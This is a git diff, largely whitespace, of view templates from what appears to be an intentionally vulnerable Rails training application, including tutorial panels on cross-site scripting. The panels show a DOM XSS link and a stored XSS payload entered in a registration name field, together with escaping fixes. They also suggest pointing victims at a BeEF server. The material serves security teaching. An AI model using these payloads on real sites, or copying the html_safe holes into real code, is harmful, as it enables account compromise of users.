||||||
<p class="desc">
|
<p class="desc">
|
||||||
The code (above) takes user input (params), and renders it back on the page without any output encoding or escaping.
|
The code (above) takes user input (params), and renders it back on the page without any output encoding or escaping.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -71,40 +71,40 @@
|
|||||||
<div class="accordion-body collapse" id="collapseSeven" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseSeven" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b> Stored Cross-Site Scripting ATTACK:</b></p>
|
<p><b> Stored Cross-Site Scripting ATTACK:</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Ensure you are signed out of the application first. Make sure you are using something like Firefox as Safari/Chrome won't work for this exercise. Then, use the following link (substitute hostname for your actual hostname) to execute an alert box:
|
Ensure you are signed out of the application first. Make sure you are using something like Firefox as Safari/Chrome won't work for this exercise. Then, use the following link (substitute hostname for your actual hostname) to execute an alert box:
|
||||||
</p>
|
</p>
|
||||||
<pre>
|
<pre>
|
||||||
<%= %{http://127.0.0.1:3000/#test=<script>alert(1)</script>} %>
|
<%= %{http://127.0.0.1:3000/#test=<script>alert(1)</script>} %>
|
||||||
</pre>
|
</pre>
|
||||||
<p><b> Stored Cross-Site Scripting SOLUTION:</b></p>
|
<p><b> Stored Cross-Site Scripting SOLUTION:</b></p>
|
||||||
<p>
|
<p>
|
||||||
Leverage the Hogan function for escaping (found in the application.js file) to escape user input:
|
Leverage the Hogan function for escaping (found in the application.js file) to escape user input:
|
||||||
</p>
|
</p>
|
||||||
<pre class="javascript">
|
<pre class="javascript">
|
||||||
<%= %{
|
<%= %{
|
||||||
<!-- support for multiple languages coming soon! -->
|
<!-- support for multiple languages coming soon! -->
|
||||||
<script>
|
<script>
|
||||||
//document.write("<select style=\"width: 100px;\">");
|
//document.write("<select style=\"width: 100px;\">");
|
||||||
//document.write("<OPTION value=1>English</OPTION>");
|
//document.write("<OPTION value=1>English</OPTION>");
|
||||||
//document.write("<OPTION value=2>Spanish</OPTION>");
|
//document.write("<OPTION value=2>Spanish</OPTION>");
|
||||||
try \{
|
try \{
|
||||||
var hashParam = location.hash.split("#")[1];
|
var hashParam = location.hash.split("#")[1];
|
||||||
var paramName = hashParam.split('=')[0];
|
var paramName = hashParam.split('=')[0];
|
||||||
var paramValue = hashParam.split('=')[1];
|
var paramValue = hashParam.split('=')[1];
|
||||||
document.write("<OPTION value=3>" + } %> <span style="background-color:yellow"> hoganEscape(paramValue)</span> <%= %{ + "</OPTION>");
|
document.write("<OPTION value=3>" + } %> <span style="background-color:yellow"> hoganEscape(paramValue)</span> <%= %{ + "</OPTION>");
|
||||||
\} catch(err) \{
|
\} catch(err) \{
|
||||||
\}
|
\}
|
||||||
//document.write("</select>");
|
//document.write("</select>");
|
||||||
</script>
|
</script>
|
||||||
}
|
}
|
||||||
|
|
||||||
%>
|
%>
|
||||||
</pre>
|
</pre>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseEight" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseEight" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
@@ -115,11 +115,11 @@
|
|||||||
<div class="accordion-body collapse" id="collapseEight" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseEight" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
You should view the source of the login page, might be something interesting there.
|
You should view the source of the login page, might be something interesting there.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -32,21 +32,21 @@
|
|||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b>Stored Cross-Site Scripting - The following code was taken from app/views/layouts/shared/_header.html.erb</b></p>
|
<p><b>Stored Cross-Site Scripting - The following code was taken from app/views/layouts/shared/_header.html.erb</b></p>
|
||||||
|
|
||||||
<p>
|
<p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
<%= @code %>
|
<%= @code %>
|
||||||
</pre>
|
</pre>
|
||||||
</p>
|
</p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Coincidentally, HTML safe is not safe from HTML Injection or "XSS" attacks. The name is deceiving. Some folks believe the raw() helper to be different than the html_safe String method. raw() is actually a wrapper for html_safe and essentially ensures exceptions are handled when the expected value is nil.
|
Coincidentally, HTML safe is not safe from HTML Injection or "XSS" attacks. The name is deceiving. Some folks believe the raw() helper to be different than the html_safe String method. raw() is actually a wrapper for html_safe and essentially ensures exceptions are handled when the expected value is nil.
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
# Psuedo-code to help conceptualize
|
# Psuedo-code to help conceptualize
|
||||||
def raw(dirty_string)
|
def raw(dirty_string)
|
||||||
dirty_string.to_s.html_safe
|
dirty_string.to_s.html_safe
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
|
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -63,16 +63,16 @@
|
|||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b> Stored Cross-Site Scripting ATTACK:</b></p>
|
<p><b> Stored Cross-Site Scripting ATTACK:</b></p>
|
||||||
|
|
||||||
<p> When registering, enter your JavaScript tag such as <%= %{<script>alert("ohai")</script>} %> in the First Name field. Upon login the header navigation bar will echo "Welcome" + your JS code. You can have your XSS code point the victim to a <b><%= link_to "BeEF server", "http://beefproject.com", {:style => "color: rgb(69, 126, 136)" } %></b> and have some fun as well.
|
<p> When registering, enter your JavaScript tag such as <%= %{<script>alert("ohai")</script>} %> in the First Name field. Upon login the header navigation bar will echo "Welcome" + your JS code. You can have your XSS code point the victim to a <b><%= link_to "BeEF server", "http://beefproject.com", {:style => "color: rgb(69, 126, 136)" } %></b> and have some fun as well.
|
||||||
</p>
|
</p>
|
||||||
<p><b> Stored Cross-Site Scripting SOLUTION:</b></p>
|
<p><b> Stored Cross-Site Scripting SOLUTION:</b></p>
|
||||||
<p>
|
<p>
|
||||||
Often developers error on the side of using "html_safe" versus "raw" with the idea being one is safer than the other. In this example, simply removing the .html_safe call would both eliminate the attack (by default, Rails 3.x html encodes these dangerous chars). Rails 2.x would require that any potentially malicious content is wrapped within an h() tag. Potentially malicious content should be thought of anything that is dynamically generated. Also, it is important to note that if for some reason you wanted to render HTML code in literal form, you can use things like sanitize() or strip_tags().
|
Often developers error on the side of using "html_safe" versus "raw" with the idea being one is safer than the other. In this example, simply removing the .html_safe call would both eliminate the attack (by default, Rails 3.x html encodes these dangerous chars). Rails 2.x would require that any potentially malicious content is wrapped within an h() tag. Potentially malicious content should be thought of anything that is dynamically generated. Also, it is important to note that if for some reason you wanted to render HTML code in literal form, you can use things like sanitize() or strip_tags().
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
@@ -83,12 +83,12 @@
|
|||||||
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Apparently we had some issues rendering people's names with weird formatting or something, I dunno, I think I fixed it by safely encoding html and rendering the necessary content.<br/><br/>
|
Apparently we had some issues rendering people's names with weird formatting or something, I dunno, I think I fixed it by safely encoding html and rendering the necessary content.<br/><br/>
|
||||||
You're <b>Welcome</b>!
|
You're <b>Welcome</b>!
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -10,7 +10,6 @@
|
|||||||
</script>
|
</script>
|
||||||
<![endif]-->
|
<![endif]-->
|
||||||
|
|
||||||
|
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
|
|
||||||
@@ -18,10 +17,10 @@
|
|||||||
<%= render "layouts/tutorial/sidebar" %>
|
<%= render "layouts/tutorial/sidebar" %>
|
||||||
|
|
||||||
<div class="container-fluid">
|
<div class="container-fluid">
|
||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<%= yield %>
|
<%= yield %>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<%= render "layouts/shared/footer" %>
|
<%= render "layouts/shared/footer" %>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<!-- Begin Row -->
|
<!-- Begin Row -->
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<!-- Begin Span12 -->
|
<!-- Begin Span12 -->
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
@@ -39,12 +39,12 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<!-- End Span12 -->
|
<!-- End Span12 -->
|
||||||
</div>
|
</div>
|
||||||
<!-- End Row -->
|
<!-- End Row -->
|
||||||
<!-- Begin Row -->
|
<!-- Begin Row -->
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<!-- Begin Span12 -->
|
<!-- Begin Span12 -->
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
@@ -53,15 +53,15 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="widget-body">
|
<div class="widget-body">
|
||||||
<div id="success" style="display: none;" class="alert alert-block alert-success fade in">
|
<div id="success" style="display: none;" class="alert alert-block alert-success fade in">
|
||||||
<h4 class="alert-heading">
|
<h4 class="alert-heading">
|
||||||
Success!
|
Success!
|
||||||
</h4>
|
</h4>
|
||||||
<p>
|
<p>
|
||||||
Message successfully sent.
|
Message successfully sent.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
<div id="failure" style="display: none;" class="alert alert-block alert-error fade in">
|
<div id="failure" style="display: none;" class="alert alert-block alert-error fade in">
|
||||||
<h4 class="alert-heading">
|
<h4 class="alert-heading">
|
||||||
Error!
|
Error!
|
||||||
</h4>
|
</h4>
|
||||||
@@ -69,35 +69,35 @@
|
|||||||
Failed to send message.
|
Failed to send message.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span8">
|
<div class="span8">
|
||||||
<!-- Begin Message Draft Content-->
|
<!-- Begin Message Draft Content-->
|
||||||
<%= form_for @message, :url => user_messages_path, :method => :post, :html => {:id => "send_message"} do |f|%>
|
<%= form_for @message, :url => user_messages_path, :method => :post, :html => {:id => "send_message"} do |f|%>
|
||||||
<%= f.hidden_field :creator_id, :value => current_user.id %>
|
<%= f.hidden_field :creator_id, :value => current_user.id %>
|
||||||
<%= f.hidden_field :read, :value => '0' %>
|
<%= f.hidden_field :read, :value => '0' %>
|
||||||
<div class="control-group">
|
<div class="control-group">
|
||||||
<%= f.label "To:", nil, {:class => "control-label"}%>
|
<%= f.label "To:", nil, {:class => "control-label"}%>
|
||||||
<%= f.select(:receiver_id, options_from_collection_for_select(User.all, :id, :full_name)) %>
|
<%= f.select(:receiver_id, options_from_collection_for_select(User.all, :id, :full_name)) %>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="control-group">
|
<div class="control-group">
|
||||||
<%= f.label :message, nil, {:class => "control-label"}%>
|
<%= f.label :message, nil, {:class => "control-label"}%>
|
||||||
<%= f.text_area :message, {:class => "span12"} %>
|
<%= f.text_area :message, {:class => "span12"} %>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="form-actions no-margin">
|
<div class="form-actions no-margin">
|
||||||
<%= f.submit "Submit", {:id => 'submit_button', :class => "btn btn-info pull-right"} %>
|
<%= f.submit "Submit", {:id => 'submit_button', :class => "btn btn-info pull-right"} %>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="clearfix"></div>
|
<div class="clearfix"></div>
|
||||||
<% end %>
|
<% end %>
|
||||||
<!-- End Message Draft Content-->
|
<!-- End Message Draft Content-->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<!-- End Span12 -->
|
<!-- End Span12 -->
|
||||||
</div>
|
</div>
|
||||||
<!-- End Row -->
|
<!-- End Row -->
|
||||||
</div>
|
</div>
|
||||||
@@ -108,27 +108,27 @@
|
|||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
|
|
||||||
$("#submit_button").click(function(event) {
|
$("#submit_button").click(function(event) {
|
||||||
var valuesToSubmit = $("#send_message").serialize();
|
var valuesToSubmit = $("#send_message").serialize();
|
||||||
event.preventDefault();
|
event.preventDefault();
|
||||||
$.ajax({
|
$.ajax({
|
||||||
url: <%= "/users/#{current_user.user_id}/messages.json".inspect.html_safe %>,
|
url: <%= "/users/#{current_user.user_id}/messages.json".inspect.html_safe %>,
|
||||||
data: valuesToSubmit,
|
data: valuesToSubmit,
|
||||||
type: "POST",
|
type: "POST",
|
||||||
success: function(response) {
|
success: function(response) {
|
||||||
if (response.msg == "failure") {
|
if (response.msg == "failure") {
|
||||||
$('#failure').show(500).delay(1500).fadeOut();
|
$('#failure').show(500).delay(1500).fadeOut();
|
||||||
} else {
|
} else {
|
||||||
$('#success').show(500).delay(1500).fadeOut();
|
$('#success').show(500).delay(1500).fadeOut();
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
error: function(event) {
|
error: function(event) {
|
||||||
$('#failure').show(500).delay(1500).fadeOut();
|
$('#failure').show(500).delay(1500).fadeOut();
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="messages"]').addClass('active');
|
$('li[id="messages"]').addClass('active');
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(function () {
|
$(document).ready(function () {
|
||||||
|
|||||||
@@ -35,7 +35,7 @@
|
|||||||
</div>
|
</div>
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="messages"]').addClass('active');
|
$('li[id="messages"]').addClass('active');
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(function () {
|
$(document).ready(function () {
|
||||||
|
|||||||
@@ -1,20 +1,20 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<div id="success" style="display: none;" class="alert alert-block alert-success fade in">
|
<div id="success" style="display: none;" class="alert alert-block alert-success fade in">
|
||||||
<h4 class="alert-heading">
|
<h4 class="alert-heading">
|
||||||
Success!
|
Success!
|
||||||
</h4>
|
</h4>
|
||||||
<p>
|
<p>
|
||||||
Information successfully updated.
|
Information successfully updated.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<div id="failure" style="display: none;" class="alert alert-block alert-error fade in">
|
<div id="failure" style="display: none;" class="alert alert-block alert-error fade in">
|
||||||
<h4 class="alert-heading">
|
<h4 class="alert-heading">
|
||||||
Error!
|
Error!
|
||||||
</h4>
|
</h4>
|
||||||
@@ -22,25 +22,25 @@
|
|||||||
Failed to update.
|
Failed to update.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<!-- Begin DP-->
|
<!-- Begin DP-->
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<!-- begin cal -->
|
<!-- begin cal -->
|
||||||
<div class="span6">
|
<div class="span6">
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
<div class="title">
|
<div class="title">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span> PTO Calendar
|
<span class="fs1" aria-hidden="true" data-icon=""></span> PTO Calendar
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div id="calendarDiv" class="widget-body">
|
<div id="calendarDiv" class="widget-body">
|
||||||
<div id='calendar'></div>
|
<div id='calendar'></div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<!-- End cal-->
|
<!-- End cal-->
|
||||||
<div class="span6">
|
<div class="span6">
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
<div class="title">
|
<div class="title">
|
||||||
@@ -48,46 +48,46 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<!-- Begin WB-->
|
<!-- Begin WB-->
|
||||||
<div id="scheduleDiv" class="widget-body">
|
<div id="scheduleDiv" class="widget-body">
|
||||||
<%= form_for @schedule, :url => "#",:html => {:id => "cal_update"} do |s|%>
|
<%= form_for @schedule, :url => "#",:html => {:id => "cal_update"} do |s|%>
|
||||||
<div class="control-group">
|
<div class="control-group">
|
||||||
<%= s.label :event_name, "Event Name", {:class => "control-label"}%>
|
<%= s.label :event_name, "Event Name", {:class => "control-label"}%>
|
||||||
<%= s.text_field :event_name, {:placeholder => "My PTO", :class => "span6"}%>
|
<%= s.text_field :event_name, {:placeholder => "My PTO", :class => "span6"}%>
|
||||||
</div>
|
</div>
|
||||||
<div class="control-group">
|
<div class="control-group">
|
||||||
<%= s.text_field :event_type, {:type => "hidden", :value => "pto", :class => "span6"}%>
|
<%= s.text_field :event_type, {:type => "hidden", :value => "pto", :class => "span6"}%>
|
||||||
</div>
|
</div>
|
||||||
<div class="control-group">
|
<div class="control-group">
|
||||||
<%= s.label :event_desc, "Event Description", {:class => "control-label"}%>
|
<%= s.label :event_desc, "Event Description", {:class => "control-label"}%>
|
||||||
<%= s.text_field :event_desc, {:placeholder => "Travel to Europe", :class => "span6"}%>
|
<%= s.text_field :event_desc, {:placeholder => "Travel to Europe", :class => "span6"}%>
|
||||||
</div>
|
</div>
|
||||||
<div class="control-group">
|
<div class="control-group">
|
||||||
<label class="control-label" for="date_range1">
|
<label class="control-label" for="date_range1">
|
||||||
Event Dates
|
Event Dates
|
||||||
</label>
|
</label>
|
||||||
<div class="controls">
|
<div class="controls">
|
||||||
<div class="input-append">
|
<div class="input-append">
|
||||||
<input type="text" name="date_range1" id="date_range1" class="span8 date_picker" placeholder="Select Date"/>
|
<input type="text" name="date_range1" id="date_range1" class="span8 date_picker" placeholder="Select Date"/>
|
||||||
<span class="add-on">
|
<span class="add-on">
|
||||||
<i class="icon-calendar"></i>
|
<i class="icon-calendar"></i>
|
||||||
</span>
|
</span>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<%= s.submit "Submit", {:id => 'cal_update_submit', :class => "btn btn-primary pull-left"} %>
|
<%= s.submit "Submit", {:id => 'cal_update_submit', :class => "btn btn-primary pull-left"} %>
|
||||||
<% end %>
|
<% end %>
|
||||||
<div class="clearfix">
|
<div class="clearfix">
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
<!-- End WB-->
|
<!-- End WB-->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<!-- End DP-->
|
<!-- End DP-->
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
@@ -101,7 +101,7 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
@@ -115,7 +115,7 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<%= javascript_include_tag "fullcalendar.js" %>
|
<%= javascript_include_tag "fullcalendar.js" %>
|
||||||
@@ -125,7 +125,7 @@
|
|||||||
|
|
||||||
|
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="pto"]').addClass('active');
|
$('li[id="pto"]').addClass('active');
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
@@ -147,7 +147,7 @@ $('.date_picker').daterangepicker({
|
|||||||
makeActive()
|
makeActive()
|
||||||
});
|
});
|
||||||
|
|
||||||
google.load("visualization", "1", {
|
google.load("visualization", "1", {
|
||||||
packages: ["corechart"]
|
packages: ["corechart"]
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -220,29 +220,29 @@ function drawChart2() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function resizeTopWidgets(){
|
function resizeTopWidgets(){
|
||||||
var calHeight = $("#calendarDiv").height();
|
var calHeight = $("#calendarDiv").height();
|
||||||
$("#scheduleDiv").css({'height':calHeight});
|
$("#scheduleDiv").css({'height':calHeight});
|
||||||
};
|
};
|
||||||
|
|
||||||
$("#cal_update_submit").click(function(event) {
|
$("#cal_update_submit").click(function(event) {
|
||||||
var valuesToSubmit = $("#cal_update").serialize();
|
var valuesToSubmit = $("#cal_update").serialize();
|
||||||
event.preventDefault();
|
event.preventDefault();
|
||||||
$.ajax({
|
$.ajax({
|
||||||
url: "/schedule.json",
|
url: "/schedule.json",
|
||||||
data: valuesToSubmit,
|
data: valuesToSubmit,
|
||||||
type: "POST",
|
type: "POST",
|
||||||
success: function(response) {
|
success: function(response) {
|
||||||
if (response.msg == "failure") {
|
if (response.msg == "failure") {
|
||||||
$('#failure').show(500).delay(1500).fadeOut();
|
$('#failure').show(500).delay(1500).fadeOut();
|
||||||
} else {
|
} else {
|
||||||
$('#success').show(500).delay(1500).fadeOut();
|
$('#success').show(500).delay(1500).fadeOut();
|
||||||
$('#calendar').fullCalendar('refetchEvents')
|
$('#calendar').fullCalendar('refetchEvents')
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
error: function(event) {
|
error: function(event) {
|
||||||
$('#failure').show(500).delay(1500).fadeOut();
|
$('#failure').show(500).delay(1500).fadeOut();
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
</script>
|
</script>
|
||||||
+183
-183
@@ -1,20 +1,20 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<div id="success" style="display: none;" class="alert alert-block alert-success fade in">
|
<div id="success" style="display: none;" class="alert alert-block alert-success fade in">
|
||||||
<h4 class="alert-heading">
|
<h4 class="alert-heading">
|
||||||
Success!
|
Success!
|
||||||
</h4>
|
</h4>
|
||||||
<p>
|
<p>
|
||||||
Information successfully updated.
|
Information successfully updated.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<div id="failure" style="display: none;" class="alert alert-block alert-error fade in">
|
<div id="failure" style="display: none;" class="alert alert-block alert-error fade in">
|
||||||
<h4 class="alert-heading">
|
<h4 class="alert-heading">
|
||||||
Error!
|
Error!
|
||||||
</h4>
|
</h4>
|
||||||
@@ -22,11 +22,11 @@
|
|||||||
Failed to update.
|
Failed to update.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<!-- Begin Row-Fluid for Inputs -->
|
<!-- Begin Row-Fluid for Inputs -->
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span9">
|
<div class="span9">
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
<div class="title">
|
<div class="title">
|
||||||
@@ -34,90 +34,90 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="widget-body">
|
<div class="widget-body">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<%= form_tag "#", {:class => "form-horizontal", :id => "bank_info_form" } do %>
|
<%= form_tag "#", {:class => "form-horizontal", :id => "bank_info_form" } do %>
|
||||||
<!-- Begin inputs-->
|
<!-- Begin inputs-->
|
||||||
|
|
||||||
<div class="input-append">
|
<div class="input-append">
|
||||||
<%= text_field_tag :bank_account_num, params[:bank_account_num], {:placeholder => "Bank Account Number"} %>
|
<%= text_field_tag :bank_account_num, params[:bank_account_num], {:placeholder => "Bank Account Number"} %>
|
||||||
<span class="add-on">#</span>
|
<span class="add-on">#</span>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="input-append">
|
<div class="input-append">
|
||||||
<%= text_field_tag :bank_routing_num, params[:bank_routing_num], {:placeholder => "Bank Routing Number"} %>
|
<%= text_field_tag :bank_routing_num, params[:bank_routing_num], {:placeholder => "Bank Routing Number"} %>
|
||||||
<span class="add-on">#</span>
|
<span class="add-on">#</span>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|
||||||
<div class="input-append">
|
<div class="input-append">
|
||||||
<%= text_field_tag :dd_percent, params[:dd_percent], {:placeholder => "Percentage of Deposit"} %>
|
<%= text_field_tag :dd_percent, params[:dd_percent], {:placeholder => "Percentage of Deposit"} %>
|
||||||
<span class="add-on">%</span>
|
<span class="add-on">%</span>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<!-- End Inputs -->
|
<!-- End Inputs -->
|
||||||
<%= submit_tag "Submit", {:id => "dd_form_btn", :style => "margin-left: 10px;", :class => "btn btn-medium btn-primary"} %>
|
<%= submit_tag "Submit", {:id => "dd_form_btn", :style => "margin-left: 10px;", :class => "btn btn-medium btn-primary"} %>
|
||||||
<% end %>
|
<% end %>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<!-- End Row-Fluid for Inputs-->
|
<!-- End Row-Fluid for Inputs-->
|
||||||
|
|
||||||
<!-- ###################-->
|
<!-- ###################-->
|
||||||
<!-- Begin Dynamic Table ColSpan Table -->
|
<!-- Begin Dynamic Table ColSpan Table -->
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span9">
|
<div class="span9">
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
|
|
||||||
<!-- Begin Widget Header-->
|
<!-- Begin Widget Header-->
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
<div class="title">
|
<div class="title">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Accounts
|
<span class="fs1" aria-hidden="true" data-icon=""></span> Accounts
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<!-- End Widget Header-->
|
<!-- End Widget Header-->
|
||||||
<div class="widget-body">
|
<div class="widget-body">
|
||||||
<div id="dt_example" class="example_alt_pagination">
|
<div id="dt_example" class="example_alt_pagination">
|
||||||
<table class="table table-condensed table-striped table-hover table-bordered pull-left" id="data_table">
|
<table class="table table-condensed table-striped table-hover table-bordered pull-left" id="data_table">
|
||||||
<thead>
|
<thead>
|
||||||
<tr>
|
<tr>
|
||||||
<th style="width:30%">
|
<th style="width:30%">
|
||||||
Encrypted Bank Account Number
|
Encrypted Bank Account Number
|
||||||
<%=link_to "#", { :style => "color:#AA6F93", :id => "encrypted_acct_question"} do %>
|
